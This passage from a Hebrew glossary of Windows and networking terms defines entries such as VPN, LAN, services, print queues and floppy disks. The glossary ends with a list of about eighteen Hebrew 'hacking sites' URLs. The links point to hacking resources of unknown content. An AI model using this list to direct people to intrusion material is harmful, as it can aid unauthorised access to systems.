
‫קו טלפון דיגיטלי המספק רוחב פס גדול יותר‪ .‬בצפון אמריקה ה‪ ISDN -‬זמין בדרך כלל בשתי‬
‫צורות‪ )BRI( Basic Rate Interface :‬המורכב משני ערוצי ‪ B‬במהירות ‪ 64‬קילו‪-‬סיביות‬
‫בשניה (‪ )Kbps‬וערוץ ‪ D‬במהירות ‪ )PRI( Primary Rate Interface ;16 Kbps‬המורכב מ‪-‬‬
‫‪ 23‬ערוצי ‪ B‬במהירות ‪ 64 Kbps‬וערוץ ‪ D‬במהירות ‪ .64 Kbps‬על חברת הטלפון להתקין את‬
‫קו ה‪ ISDN -‬הן באתר המתקשר והן באתר שאליו מתקשרים‪.‬‬

‫ראה גם‪ :‬חיוג מרובה קישורים; מזהה פרופיל שירות (‪ ;)SPID‬סוג בורר‬

‫רשת פרטית וירטואלית )‪(VPN‬‬

‫ההרחבה של רשת פרטית הכוללת קישורים שעברו אנקפסולציה (עטיפה)‪ ,‬קישורים מוצפנים‬
‫וקישורים מאומתים על‪-‬פני רשתות משותפות או ציבוריות‪ .‬להתקשרויות ‪ VPN‬יש אפשרות‬
‫לספק גישה מרחוק והתקשרויות מנותבות לרשתות פרטיות על‪-‬פני האינטרנט‪.‬‬

‫ראה גם‪ ;Tunnel :‬אימות; הצפנה; ניתוב‬

‫רשת תקשורת מקומית )‪(LAN‬‬

‫רשת תקשורת המחברת קבוצת מחשבים‪ ,‬מדפסות והתקנים אחרים הממוקמים באזור מוגבל‬
‫יחסית (לדוגמה‪ ,‬בניין)‪ LAN .‬מאפשרת לכל התקן מחובר לקיים תקשורת עם כל התקן אחר‬
‫ברשת‪.‬‬

‫ראה גם‪ ;)NetBEUI( NetBIOS Extended User Interface :‬קבוצת עבודה; רשת‬
‫תקשורת מקומית וירטואלית (‪)VLAN‬‬

‫רשת תקשורת מקומית וירטואלית )‪(VLAN‬‬

‫קיבוץ לוגי של מחשבים מארחים ברשת תקשורת מקומית אחת או יותר המאפשר קיום תקשורת‬
‫בין מחשבים מארחים כאילו היו באותה רשת תקשורת מקומית פיזית‪.‬‬

‫ראה גם‪ :‬מחשב מארח; רשת תקשורת מקומית (‪)LAN‬‬

‫רשת תקשורת מרחבית )‪(WAN‬‬

‫רשת תקשורת המחברת מחשבים‪ ,‬מדפסות והתקנים אחרים המופרדים גיאוגרפית‪WAN .‬‬
‫מאפשרת לכל התקן מחובר לפעול באינטראקציה עם כל התקן מחובר אחר ברשת‪.‬‬

‫ראה גם‪ :‬התקן; רשת תקשורת מקומית (‪)LAN‬‬

‫ש‬
‫שולחן עבודה‬

‫אזור העבודה על המסך שבו מופיעים חלונות‪ ,‬סמלים‪ ,‬תפריטים ותיבות דו‪-‬שיח‪.‬‬

‫‪482‬‬
‫שורת המשימות‬

‫השורה המכילה את לחצן התחל ומופיעה כברירת מחדל בחלקו התחתון של שולחן העבודה‪.‬‬
‫באפשרותך ללחוץ על הלחצנים בשורת המשימות לשם מעבר בין תוכניות‪ .‬באפשרותך גם‬
‫להסתיר את שורת המשימות‪ ,‬להזיזה לצדדים או לחלק העליון של שולחן העבודה ולהתאים‬
‫אותה אישית בדרכים אחרות‪.‬‬

‫ראה גם‪ :‬אזור הדיווחים; לחצן בשורת המשימות; שולחן עבודה‬

‫שחזור המערכת‬

‫כלי העוקב אחר שינויים במחשב שלך ויוצר נקודת שחזור כאשר הוא מזהה התחלה של שינוי‪.‬‬
‫באפשרותך להשתמש באשף שחזור המערכת לבחירת נקודת שחזור לשחזר בה את המחשב שלך‬
‫למצב קודם בו המחשב פעל לשביעות רצונך‪.‬‬

‫שטח שלא הוקצה‬

‫שטח דיסק פנוי שלא הוקצה לאף אמצעי אחסון‪ .‬סוג אמצעי האחסון שניתן ליצור בשטח שלא‬
‫הוקצה מותנה בסוג הדיסק‪ .‬בדיסקים בסיסיים‪ ,‬ניתן להשתמש בשטח שלא הוקצה ליצירת‬
‫מחיצות ראשיות או מורחבות‪ .‬בדיסקים דינאמיים‪ ,‬ניתן להשתמש בשטח שלא הוקצה ליצירת‬
‫אמצעי אחסון דינאמיים‪.‬‬

‫ראה גם‪ :‬אובייקט; אמצעי אחסון; דיסק בסיסי; דיסק דינאמי; כונן לוגי; מחיצה; מחיצה מורחבת;‬
‫מחיצה ראשית‬

‫שידור‬

‫פנייה המיועדת לכל המחשבים המארחים ביחידת רשת מסוימת‪.‬‬

‫שידור ליעד בודד‬

‫ברשתות תקשורת נתונים‪ ,‬שידור נתונים ממסוף אחד לאחר‪ ,‬לדוגמה מלקוח לשרת‪ ,‬או משרת‬
‫לשרת‪.‬‬

‫שידור לקבוצות בפרוטוקול אינטרנט‬

‫הרחבת טכנולוגיית השידור לקבוצות של רשת התקשורת המקומית לרשת ‪ .TCP/IP‬מחשבים‬


‫מארחים שולחים ומקבלים יחידות נתונים ששודרו לקבוצות‪ ,‬ששדות היעד שלהן מציינים‬
‫כתובות ‪ IP‬של קבוצות מחשבים מארחים במקום כתובות ‪ IP‬נפרדות‪ .‬מחשב מארח מציין כי‬
‫הוא חבר בקבוצה באמצעות פרוטוקול ניהול קבוצת אינטרנט (‪.)IGMP‬‬

‫ראה גם‪ ;)TCP/IP( Transmission Control Protocol/Internet Protocol :‬פרוטוקול‬


‫ניהול קבוצת אינטרנט (‪)IGMP‬‬

‫שימוש שיא בזיכרון‬

‫במנהל המשימות‪ ,‬כמות השיא של זיכרון פיזי ששכנה בתהליך מרגע התחלתו‪.‬‬

‫ראה גם‪ :‬מנהל המשימות‬

‫‪483‬‬
‫שירות‬

‫תוכנית‪ ,‬רוטינה או תהליך המבצעים פונקציית מערכת ספציפית לשם תמיכה בתוכניות אחרות‪,‬‬
‫בייחוד ברמה נמוכה (קרובה לחומרה)‪ .‬כאשר שירותים ניתנים ברשת‪ ,‬ניתן לפרסם אותם ב‪-‬‬
‫‪ ,Active Directory‬דבר המקל על ניהול ושימוש ממוקדים בשרת‪ .‬שירות מנהל חשבונות‬
‫אבטחה‪ ,‬שירות שכפול קבצים ושירות ניתוב וגישה מרחוק הם דוגמאות לשירותים‪.‬‬

‫ראה גם‪ ;)DHCP( Dynamic Host Configuration Protocol ;Active Directory :‬מזהה‬
‫פרופיל שירות (‪)SPID‬‬

‫שירות ‪Messenger‬‬

‫שירות השולח ומקבל הודעות הנשלחות על‪-‬ידי מנהלי מערכת או על‪-‬ידי שירות ההתראות‪.‬‬

‫ראה גם‪ :‬שירות‬

‫שירות ‪UPS‬‬

‫שירות המנהל התקן אל‪-‬פסק (‪ )UPS‬המחובר למחשב‪.‬‬

‫ראה גם‪ :‬שירות‬

‫שירות טקסט‬

‫תוכנית המאפשרת למשתמש להזין או לערוך טקסט‪ .‬שירותי טקסט כוללים פריסות לוח מקשים‪,‬‬
‫תוכניות זיהוי כתב‪-‬יד וזיהוי דיבור ועורכי שיטות קלט (‪ .)IME‬עורכי שיטות קלט משמשים‬
‫להזנת תווים של שפות מזרח אסיאתיות באמצעות לוח מקשים‪.‬‬

‫שירות פקס‬

‫שירות מערכת המספק שירותי פקס ללקוחות רשת מקומיים ומרוחקים‪ .‬שירותי הפקס כוללים‬
‫קבלת פקסים ושליחת מסמכים‪ ,‬הודעות של אשף הפקסים והודעות דואר אלקטרוני‪.‬‬

‫ראה גם‪ :‬שירות‬

‫שירות רשת‬

‫שירותים כגון שיתוף קובץ או מדפסת במחשב שלך או גיבוי אוטומטי לשרת רשת‪.‬‬

‫שירותי ‪ TCP/IP‬פשוטים‬

‫ארבעה שירותים של ‪ Echo ,Daytime Discard ,Character Generator :TCP/IP‬ו‪-‬‬


‫‪.Quote of the Day‬‬

‫ראה גם‪ ;)TCP/IP( Transmission Control Protocol/Internet Protocol :‬שירות‬

‫שיתוף‬

‫הפיכת משאבים‪ ,‬כגון תיקיות ומדפסות‪ ,‬לזמינים עבור אחרים‪.‬‬

‫‪484‬‬
‫ראה גם‪ :‬משאב‬

‫שכפול‬

‫תהליך העתקת נתונים ממאגר נתונים או מערכת קבצים למספר מחשבים לשם סינכרון הנתונים‪.‬‬
‫‪ Active Directory‬מספק שכפול מרובה עותקי‪-‬אב של הספריה בין בקרי קבוצות מחשבים‬
‫בתוך קבוצת מחשבים נתונה‪ .‬ניתן לכתוב על העותקים המשוכפלים של הספריה בכל אחד‬
‫מבקרי קבוצות המחשבים‪ .‬הדבר מאפשר החלת עדכונים על כל עותק משוכפל בקבוצת מחשבים‬
‫נתונה‪ .‬שירות השכפול מעתיק אוטומטית את השינויים מעותק משוכפל נתון לכל העותקים‬
‫המשוכפלים האחרים‪.‬‬

‫ראה גם‪ ;Active Directory :‬טופולוגיה; עותק משוכפל‬

‫שלושת הגופנים הווקטוריים‬

‫הגופנים ‪ Modern, Roman‬ו‪.Script -‬‬

‫שם ארוך‬

‫שם של תיקיה או קובץ שאורכו עולה על האורך התקני שהוא ‪ 8.3‬לשם קובץ (‪ 8‬תווים לכל‬
‫היותר ואחריהם נקודה וסיומת באורך שלושה תווים לכל היותר) של מערכת הקבצים ‪.FAT‬‬
‫גירסה זו של ‪ Windows‬תומכת בשמות קבצים ארוכים באורך ‪ 255‬תווים לכל היותר‪.‬‬

‫בסביבת ‪ ,Macintosh‬למשתמשים יש אפשרות להקצות שמות ארוכים לקבצים ולתיקיות‬


‫בשרת‪ ,‬ובאמצעות שילוב הרשת של ‪ AppleTalk‬ניתן להקצות שמות ארוכים לאמצעי אחסון‬
‫הניתנים לגישה ממחשב ‪ Macintosh‬בעת יצירתם‪ .‬גירסה זו של ‪ Windows‬מתרגמת‬
‫אוטומטית שמות ארוכים של קבצים ותיקיות לשמות באורך ‪ 8.3‬עבור משתמשי ‪ MS-DOS‬ו‪-‬‬
‫‪.Windows 3.x‬‬

‫ראה גם‪ ;)Microsoft Disk Operating System( MS-DOS :‬טבלת מיקומי קבצים (‪)FAT‬‬

‫שם מחשב מארח‬

‫שם ‪ DNS‬של התקן ברשת‪ .‬שמות אלו משמשים לאיתור מחשבים ברשת‪ .‬כדי לאתר מחשב‬
‫אחר‪ ,‬על שם המחשב המארח שלו להופיע בקובץ ‪ Hosts‬או להיות מוכר לשרת ‪ .DNS‬ברוב‬
‫מחשבי ‪ ,Windows‬שם המחשב המארח ושם המחשב זהים‪.‬‬

‫ראה גם‪)DNS( Domain Name System :‬‬

‫שם מלא‬

‫שם שלם של משתמש‪ ,‬המורכב בדרך כלל משם משפחה‪ ,‬שם פרטי וראשי תיבות של שם‬
‫אמצעי‪ .‬השם המלא הוא מידע שלמשתמשים וקבוצות מקומיים או למשתמשים ומחשבים של‬
‫‪ Active Directory‬יש אפשרות להחזיק כחלק מהמידע המזהה ומגדיר חשבון משתמש‪.‬‬

‫ראה גם‪ :‬חשבון משתמש; משתמשים ומחשבים של ‪Active Directory‬‬

‫‪485‬‬
‫שם מנהל אבטחה‬

‫שם המזהה באופן ייחודי משתמש‪ ,‬קבוצה או מחשב בקבוצת מחשבים יחידה‪ .‬אין ערובה לכך‬
‫ששם זה יהיה ייחודי על‪-‬פני קבוצות מחשבים‪.‬‬

‫ראה גם‪ :‬מנהל אבטחה; קבוצה; קבוצת מחשבים‬

‫שם משתמש‬

‫שם ייחודי המזהה חשבון משתמש ב‪ .Windows -‬על שם משתמש של חשבון להיות ייחודי בין‬
‫שמות קבוצות ושמות משתמשים אחרים בקבוצת המחשבים או בקבוצת העבודה שלו‪.‬‬

‫ראה גם‪ :‬חשבון משתמש; קבוצת מחשבים; קבוצת עבודה; שם קבוצה‬

‫שם משתמש עיקרי‬

‫שם חשבון משתמש (הקרוי לעיתים שם הכניסה של המשתמש) ושם קבוצת מחשבים המזהה את‬
‫קבוצת המחשבים שבה חשבון המשתמש ממוקם‪ .‬זהו השימוש הרגיל לכניסה לקבוצת מחשבים‬
‫של ‪ .Windows‬התבנית היא‪( user@domain.com :‬בדומה לכתובת דואר אלקטרוני)‪.‬‬

‫ראה גם‪ :‬חשבון משתמש; סיומת של שם משתמש עיקרי; קבוצת מחשבים; שם קבוצת מחשבים‬

‫שם קבוצה‬

‫שם ייחודי המזהה קבוצה מקומית או קבוצה כללית בפני ‪ .Windows‬שם קבוצה אינו יכול‬
‫להיות זהה לשם של קבוצה אחרת או לשם משתמש אחר באותה קבוצת המחשבים או באותו‬
‫מחשב‪.‬‬

‫ראה גם‪ :‬קבוצה כללית; קבוצה מקומית‬

‫שם קבוצת מחשבים‬

‫השם שהוענק על‪-‬ידי מנהל לאוסף של מחשבים ברשת‪ ,‬שלהם ספריה משותפת‪ .‬כחלק ממבנה‬
‫השמות של ‪ ,)Domain Name System )DNS‬שמות קבוצות מחשבים מורכבות מרצף של‬
‫תוויות שמות המופרדות באמצעות נקודות‪.‬‬

‫ראה גם‪ ;)DNS( Domain Name System :‬טווח שמות; קבוצת מחשבים; תווית‬

‫שנת חורף‬

‫מצב שבו המחשב שלך כבה לאחר ששמר הכל בזיכרון בדיסק הקשיח‪ .‬כאשר המחשב‬
‫"מתעורר" משנת החורף‪ ,‬כל התוכניות והמסמכים שהיו פתוחים משוחזרים לשולחן העבודה‪.‬‬

‫ראה גם‪ :‬המתנה‬

‫‪486‬‬
‫שער‬

‫התקן המחובר לרשתות ‪ TCP/IP‬פיזיות מרובות בעלות אפשרות ניתוב או העברה של מנות ‪IP‬‬
‫ביניהן‪ .‬שער מתרגם בין פרוטוקולי העברה שונים או תבניות נתונים שונות (לדוגמה‪ IPX ,‬ו‪-‬‬
‫‪ )IP‬ובדרך כלל הוא נוסף לרשת בעיקר בשל יכולת התרגום שלו‪.‬‬

‫בהקשר של פעולה הדדית עם רשתות ‪ ,Novell NetWare‬שער מתפקד כגשר בין פרוטוקול‬
‫בלוק הודעת השרת (‪ )SMB‬המשמש ברשתות ‪ Windows‬לבין פרוטוקול הליבה של‬
‫‪ )NCP( NetWare‬המשמש ברשתות ‪ .NetWare‬שער מכונה גם נתב ‪.IP‬‬

‫שפת לוח המקשים‬

‫השפה בה ברצונך להשתמש בעת ההקלדה‪ .‬תוכניות מסוימות שתוכננו עבור הפלטפורמה של‬
‫‪ Windows‬מזהות הגדרה זו‪ .‬בעת הוספת שפת לוח מקשים חדשה‪ ,‬נוספת גם פריסת לוח‬
‫מקשים עבור שפה זו‪.‬‬

‫שפת קלט‬

‫ציון השפה שבה ברצונך להקליד‪ .‬תוכניות מסוימות שתוכננו עבור ‪ Windows‬מזהות הגדרה זו‪.‬‬
‫בעת הוספת שפת קלט חדשה‪ ,‬נוספת גם פריסת לוח מקשים עבור אותה שפה‪.‬‬

‫שפת תיאור עמוד )‪(PDL‬‬

‫שפת המחשב המתארת את סידור הטקסט והגרפיקה בעמוד מודפס‪.‬‬

‫ראה גם‪( Printer Job Language ;)PCL( Printer Control Language ;PostScript :‬‬
‫‪ ;)PJL‬גופני ‪PostScript‬‬

‫שרת‬

‫באופן כללי‪ ,‬מחשב המספק משאבים משותפים למשתמשי רשת‪.‬‬

‫ראה גם‪ :‬לקוח; משאב משותף‬

‫שרת ‪Tunnel‬‬

‫שרת או נתב המפסיק פעולות ‪ Tunnel‬ומעביר הלאה תעבורה למחשבים המארחים ברשת היעד‪.‬‬

‫ראה גם‪ ;Tunnel :‬מחשב מארח; נתב; שרת‬

‫שרת אינטרנט‬

‫מחשב המתוחזק על‪-‬ידי מנהל מערכת או ספק שירותי אינטרנט (‪ )ISP‬והמגיב לבקשות מדפדפן‬
‫של משתמש‪.‬‬

‫ראה גם‪ :‬ספק שירותי אינטרנט (‪)ISP‬‬

‫‪487‬‬
‫שרת הדפסה‬

‫מחשב המוקדש לניהול המדפסות ברשת‪ .‬שרת ההדפסה עשוי להיות כל מחשב ברשת‪.‬‬

‫שרת זמן‬

‫מחשב בו מתבצע מעת לעת סינכרון של הזמן בכל המחשבים ברשת‪ .‬הדבר מבטיח שהשעה‬
‫בשירותי רשת ופונקציות מקומיות תישאר מדויק‪.‬‬

‫שרת ראשי‬

‫שרת ‪ DNS‬סמכותי באזור‪ .‬קיימים שרתים מנהלים שונים המשתייכים לאחד משני סוגים (שרת‬
‫מנהל ראשי או משני)‪ ,‬בהתאם לאופן שבו השרת מקבל את נתוני האזור שלו‪.‬‬

‫שרת תצורה בהדמיית ‪LAN‬‬

‫השירות המקצה לקוחות אינדיבידואליים של הדמיית רשת תקשורת מקומית (‪ )LANE‬לרשתות‬


‫תקשורת מקומית מדומות (‪ )ELAN‬ספציפיות על‪-‬ידי הפנייתם אל שרת הדמיית ‪.)LES( LAN‬‬

‫ראה גם‪ :‬הדמיית ‪ ;)LANE( LAN‬שירות‬

‫ת‬
‫תבנית בסיס ראשונית‬

‫תיקיה משותפת שהקבצים והתיקיות הקיימים שבה משוכפלים לתיקיות משותפות אחרות בעת‬
‫ההגדרה הראשונית של השכפול‪ .‬לאחר שהשכפול הושלם‪ ,‬אין תבנית בסיס ראשית מאחר שלכל‬
‫העותקים המשוכפלים יש אפשרות לקבל שינויים ולהעביר אותם בירושה לעותקים המשוכפלים‬
‫האחרים‪ .‬תבנית הבסיס הראשונית הופכת לעותק משוכפל רגיל‪.‬‬

‫ראה גם‪ :‬עותק משוכפל; שכפול; תיקיה משותפת‬

‫תבנית שולחן עבודה‬

‫עיצוב המופיע על שולחן העבודה שלך‪ .‬באפשרותך ליצור תבנית משלך או לבחור תבנית‬
‫שסופקה עם ‪.Windows‬‬

‫ראה גם‪ :‬שולחן עבודה‬

‫תגובה‬

‫בגישה מרחוק ב‪ ,Windows -‬מחרוזות הצפויות מההתקן‪ ,‬שעשויות להכיל פקודות מאקרו‪.‬‬

‫תווים מורחבים‬

‫כל אחד מ‪ 128 -‬התווים הנוספים בערכת התווים המורחבת של ‪ 8( ASCII‬סיביות)‪ .‬תווים אלו‬
‫כוללים תווים במספר שפות זרות‪ ,‬כגון סימוני הטעמה וסמלים מיוחדים המשמשים ליצירת‬
‫תמונות‪.‬‬

‫‪488‬‬
‫תווים של שני בתים‬

‫ערכת תווים שבה כל תו מיוצג על‪-‬ידי שני בתים‪ .‬שפות מסוימות‪ ,‬כגון יפנית‪ ,‬סינית וקוריאנית‪,‬‬
‫מצריכות ערכות תווים של שני בתים‪.‬‬

‫תווין‬

‫כל התקן המשמש לציור תרשימים‪ ,‬דיאגרמות ופריטי גרפיקה מבוססי‪-‬קו אחרים‪.‬‬

‫תווית‬

‫כל חלק בשם מלא של קבוצת מחשבים של ‪ DNS‬המייצג צומת בעץ טווח השמות של קבוצת‬
‫המחשבים‪ .‬שמות קבוצות מחשבים מורכבים מרצף של תוויות‪ ,‬כגון שלוש התוויות ( ‪,example‬‬
‫‪ microsoft‬ו‪ )com -‬המרכיבות את שם קבוצת המחשבים של ‪DNS‬‬
‫‪ .example.microsoft.com‬על כל תווית המשמשת בשם קבוצת מחשבים של ‪ DNS‬להיות‬
‫באורך תווים של ‪ 63‬בתים או פחות‪.‬‬

‫ראה גם‪ ;)DNS( Domain Name System :‬שם קבוצת מחשבים‬

‫תוכן פעיל‬

‫תוכן דינמי‪ ,‬כגון נתוני מניות‪ ,‬מפת מזג אוויר או חדשות‪ ,‬המתעדכן בדרך כלל מה‪World -‬‬
‫‪ Wide Web‬או מערוץ‪.‬‬

‫תוכנית‬

‫מערכת שלמה ועצמאית של הוראות מחשב המשמשות לביצוע משימה ספציפית‪ ,‬כגון עיבוד‬
‫תמלילים‪ ,‬חשבונאות או ניהול נתונים‪ .‬תוכנית קרויה גם יישום‪.‬‬

‫תוכנית אצווה‬

‫קובץ ‪( ASCII‬טקסט לא מעוצב) המכיל לפחות פקודה אחת של מערכת הפעלה‪ .‬שם הקובץ של‬
‫תוכנית אצווה הוא בעל סיומת ‪ .cmd‬או ‪ .bat‬בעת הקלדת שם הקובץ בשורת הפקודה או בעת‬
‫הפעלת תוכנית האצווה מתוך תוכנית אחרת‪ ,‬הפקודות שלה מעובדות ברצף‪ .‬תוכניות אצווה‬
‫נקראות גם קבצי אצווה‪.‬‬

‫ראה גם‪Script ;)ASCII( American Standard Code for Information Interchange :‬‬
‫לכניסה‬

‫תוכנית מבוססת ‪MS-DOS‬‬

‫תוכנית המיועדת לפעול עם ‪ MS-DOS‬ולכן ייתכן שאין לה אפשרות לנצל בצורה מלאה את כל‬
‫תכונות ‪.Windows‬‬

‫ראה גם‪ ;)Microsoft Disk Operating System( MS-DOS :‬קובץ מידע של תוכנית (‪)PIF‬‬

‫‪489‬‬
‫תור‬

‫רשימת תוכניות או משימות הממתינות להפעלה‪ .‬במינוח הדפסה של ‪ ,Windows‬תור מתייחס‬


‫לקבוצת מסמכים הממתינים להדפסה‪ .‬בסביבות ‪ NetWare‬ו‪ ,OS/2 -‬תורים הם ממשק התוכנה‬
‫הראשי בין היישום והתקן ההדפסה; משתמשים שולחים מסמכים לתור‪ .‬ב‪ ,Windows -‬עם‬
‫זאת‪ ,‬המדפסת משמשת כממשק הזה; המסמך נשלח למדפסת‪ ,‬לא לתור‪.‬‬

‫ראה גם‪ :‬הודעת טרנזקציה; מדפסת‬

‫תור הדפסה‬

‫תור הדפסה הוא רשימת מסמכים הממתינים להדפסה במדפסת‪ .‬בתור ההדפסה‪ ,‬באפשרותך‬
‫לצפות במידע כגון גודל המסמך‪ ,‬מי שלח אותו להדפסה ומידע מצב עבור הדפסה‪.‬‬

‫תור הודעות טרנזקציה שלא נמסרו‬

‫עבור ניהול תורי הודעות‪ ,‬תור בו מאוחסנות הודעות הטרנזקציה שאין להן אפשרות להגיע לתור‬
‫היעד שלהן‪ .‬תורי הודעות טרנזקציה שלא נמסרו מאחסנים הודעות שנכשלו במחשב שבו תוקפה‬
‫של ההודעה פג‪ .‬הודעות בתורים אלה נכתבות לדיסק ולכן ניתן לשחזרן‪.‬‬

‫ראה גם‪ :‬טרנזקציה; ניהול תורי הודעות; תור‬

‫תור מערכת‬

‫עבור ניהול תורי הודעות‪ ,‬תור בו מאוחסנים סוגים שונים של הודעות ניהול‪ .‬בניהול תורי‬
‫הודעות נעשה שימוש בחמישה תורי מערכת לכל היותר‪ ,‬כולם תורים פרטיים‪ .‬אין אפשרות‬
‫למחוק תורי מערכת‪.‬‬

‫ראה גם‪ :‬ניהול תורי הודעות; תור; תור מערכת‬

‫תחנת עגינה‬

‫יחידה למיקום מחשב נייד הכוללת חיבור לחשמל‪ ,‬חריצי הרחבה וחיבורים לציוד היקפי‪ ,‬כגון‬
‫צג‪ ,‬מדפסת‪ ,‬לוח מקשים בגודל מלא ועכבר‪ .‬תחנת העגינה הופכת את המחשב הנייד למחשב‬
‫שולחני‪.‬‬

‫ראה גם‪ :‬ביטול עגינה; עגינה; עגינה חמה‬

‫תיבת דו‪-‬שיח‬

‫חלון משני המכיל לחצנים ומספר סוגים של אפשרויות שבאמצעותן ניתן לבצע פקודה או משימה‬
‫מסוימת‪.‬‬

‫תיבת דו‪-‬שיח סטטית‬

‫תיבת דו‪-‬שיח בשפת ‪ Scripting‬בין מחשב הלקוח והתקן ביניים‪ .‬סוג זה של תיבת דו‪-‬שיח אינו‬
‫מצריך תגובה מצד המשתמש‪.‬‬

‫ראה גם‪ :‬לקוח‬

‫‪490‬‬
‫תיקיה‬

‫גורם מכיל של תוכניות וקבצים בממשקי משתמש גרפיים‪ ,‬המיוצג על המסך באמצעות תמונה‬
‫גרפית (סמל) של תיקיית קבצים‪ .‬תיקיה היא אמצעי לארגון תוכניות ומסמכים בדיסק‬
‫ובאפשרותה להכיל הן קבצים והן תיקיות נוספות‪.‬‬

‫תיקיה משותפת‬

‫תיקיה במחשב אחר שהפכה זמינה לאחרים לשימוש ברשת‪.‬‬

‫תיקיית הבית‬

‫תיקיה (בדרך כלל בשרת קבצים) שמנהלי מערכת יכולים להקצות למשתמשים בודדים או‬
‫לקבוצות‪ .‬מנהלי מערכת משתמשים בתיקיות בית לשם איחוד קבצי משתמשים בשרתי קבצים‬
‫ספציפיים כדי לאפשר גיבוי קל יותר‪ .‬תוכניות מסוימות עושות שימוש בתיקיות בית כתיקיית‬
‫ברירת המחדל עבור תיבות הדו‪-‬שיח פתיחה ושמירה בשם‪ .‬תיקיות בית מכונות לעיתים ספריות‬
‫בית‪.‬‬

‫ראה גם‪ :‬מנהל; קבוצה‬

‫תכונה‬

‫בקבצים‪ ,‬מידע המציין אם הקובץ ניתן לקריאה בלבד‪ ,‬מוסתר‪ ,‬מוכן לאחסון בארכיון (גיבוי)‪,‬‬
‫מכווץ או מוצפן‪ ,‬ואם יש ליצור אינדקס עבור תוכן הקובץ לשם חיפוש קובץ מהיר‪.‬‬

‫ב‪ ,Active Directory -‬מאפיינים של אובייקט וסוג המידע שניתן לאחסן באובייקט‪ .‬עבור כל‬
‫סוג אובייקטים‪ ,‬הסכימה מגדירה אילו תכונות על מופע של הסוג לכלול ואילו תכונות נוספות‬
‫עשויות להיות לו‪.‬‬

‫תמונה ממוזערת‬

‫גירסה מיניאטורית של תמונה המשמשת בדרך כלל לעיון מהיר בתמונות רבות‪.‬‬

‫תצוגת גביש נוזלי )‪(LCD‬‬

‫סוג של תצוגה המשמשת בשעונים דיגיטליים ומחשבים נישאים רבים‪ .‬צגי ‪ LCD‬עושים שימוש‬
‫בשתי שכבות של חומר מקטב עם תמיסת גביש נוזלי ביניהן‪ .‬זרם חשמלי העובר בנוזל גורם‬
‫לגבישים להסתדר באופן כזה שאור לא יוכל לחדור דרכם‪ .‬באופן זה‪ ,‬כל גביש הוא מעין תריס‪,‬‬
‫המאפשר לאור לחדור דרכו או חוסם את האור‪.‬‬

‫תצורת חומרה‬

‫הגדרות משאבים שהוקצו להתקן שצוין‪ .‬לכל התקן במחשב יש תצורת חומרה שעשויה להיות‬
‫מורכבת מקווי ‪ ,DMA ,IRQ‬יציאת קלט‪/‬פלט או הגדרות של כתובות זיכרון‪.‬‬

‫ראה גם‪ :‬התקן; יציאת קלט‪/‬פלט (‪ ;)I/O‬כתובת זיכרון‬

‫‪491‬‬
‫תקליטון‬

‫אמצעי אחסון מגנטי הניתן לשימוש חוזר‪ .‬התקליטון הנמצא בשימוש כיום הוא המיקרו‪-‬תקליטון‬
‫הקשיח בגודל ‪ 3.5‬אינץ'‪ ,‬המכיל ‪ .1.44 MB‬באנגלית הוא מכונה ‪( Floppy‬גמיש) משום‬
‫שהסוגים הראשונים של התקליטונים יוצרו במעטפת הניתנת לכיפוף‪.‬‬

‫תקליטור הניתן לכתיבה‬

‫תקליטור הניתן להקלטה חוזרת (‪ )CD-R‬או תקליטור הניתן לכתיבה חוזרת (‪ .)CD-RW‬ניתן‬
‫לצרוב נתונים לתקליטור במספר פעמים‪ .‬תקליטורי ‪ CD-RW‬ניתנים גם למחיקה‪.‬‬

‫תקלת קובץ החלפה‬

‫הפסיקה המתרחשת כאשר תוכנה מנסה לקרוא ממיקום של זיכרון וירטואלי המסומן כלא קיים‬
‫או לכתוב אליו‪.‬‬

‫במנהל המשימות‪ ,‬תקלת קובץ החלפה היא מספר הפעמים בהן יש לאחזר נתונים מדיסק עבור‬
‫תהליך משום שהוא לא נמצא בזיכרון‪ .‬ערך תקלת קובץ ההחלפה מצטבר מהרגע בו התהליך‬
‫החל‪.‬‬

‫ראה גם‪ :‬הפרש תקלות קובץ החלפה; זיכרון וירטואלי; מנהל המשימות‬

‫תקני אפנון‬

‫פרוטוקולים הקובעים את האופן בו התקני מודם ממירים נתונים דיגיטליים לאותות אנלוגיים‬
‫שניתן לשדרם דרך קווי טלפון‪.‬‬

‫בתחילה‪ Bell ,‬יצרה תקני אפנון ששימשו בארצות הברית ו‪ CCITT -‬יצרה המלצות‬
‫בינלאומיות‪ CCITT( ITU-T .‬בשמה הקודם) מכינה כעת המלצות המקובלות על יצרני מודמים‬
‫באופן גורף הן ברחבי העולם והן בארצות הברית‪ .‬המלצות הסידרה ‪( ITU-T V‬כגון ‪ V.34‬ו‪-‬‬
‫‪ )V.90‬מגדירות תקשורת נתונים דרך רשת הטלפון‪ .‬הסיומות ‪ -bis‬ו‪( -ter -‬לדוגמה‪)V.32bis ,‬‬
‫באות לציין גירסאות מתקדמות‪.‬‬

‫ראה גם‪V.90 ;V.34 :‬‬

‫תקשורת אלחוטית‬

‫תקשורת בין מחשב אחד למחשב אחר או להתקן אחר ללא כבלים‪ .‬בצורת התקשורת האלחוטית‬
‫הניתנת כחלק ממערכת ההפעלה של ‪ Windows‬נעשה שימוש באור אינפרא‪-‬אדום לשידור‬
‫קבצים‪ .‬תדרי רדיו‪ ,‬המשמשים בטלפונים סלולריים ואלחוטיים‪ ,‬הם צורה אחרת של תקשורת‬
‫אלחוטית‪.‬‬

‫ראה גם‪ :‬אינפרא‪-‬אדום (‪ ;)IR‬התקן אינפרא‪-‬אדום; יציאת אינפרא‪-‬אדום‬

‫תרגול‬

‫תהליך שבו מנגנון זיהוי הדיבור לומד לזהות את קולך ואת אופן הדיבור שלך‪ .‬מנגנון הדיבור‬
‫מחפש דפוסים באופן בו אתה מדבר‪ ,‬המאפשרים לו להעלות את רמת הדיוק בעת הכתבת טקסט‪.‬‬

‫‪492‬‬
‫תרגול המנגנון מתבצע על‪-‬ידי הקראת טקסט באשף התרגול ונמשך בעת הכתבת טקסט במהלך‬
‫העבודה‪.‬‬

‫‪HFM‬‬

‫‪493‬‬
‫אתרי האקינג‬
:‫עברית‬
/http://www.hasatan.up.co.il
/http://www.revange.up.co.il
/http://ninja_place.tripod.com
/http://planet.nana.co.il/hs666hs
/http://www.viper.up.co.il
http://www26.brinkster.com/zooz12/kishurim.htm
/http://vbgames.up.co.il
http://webmaster.org.il/desktop.asp
/http://www.dr-vb.co.il
/http://www.cyber-chaos.up.co.il
/http://www.israblast.vze.com
/http://hasatan.up.co.il
http://www.geocities.com/mahshevim2000/texts/html/hacking_basics.
htm
/http://red-board.co.il
/http://www.2600-il.8m.net
/http://progunderground.tripod.com
/http://www.faithless.up.co.il
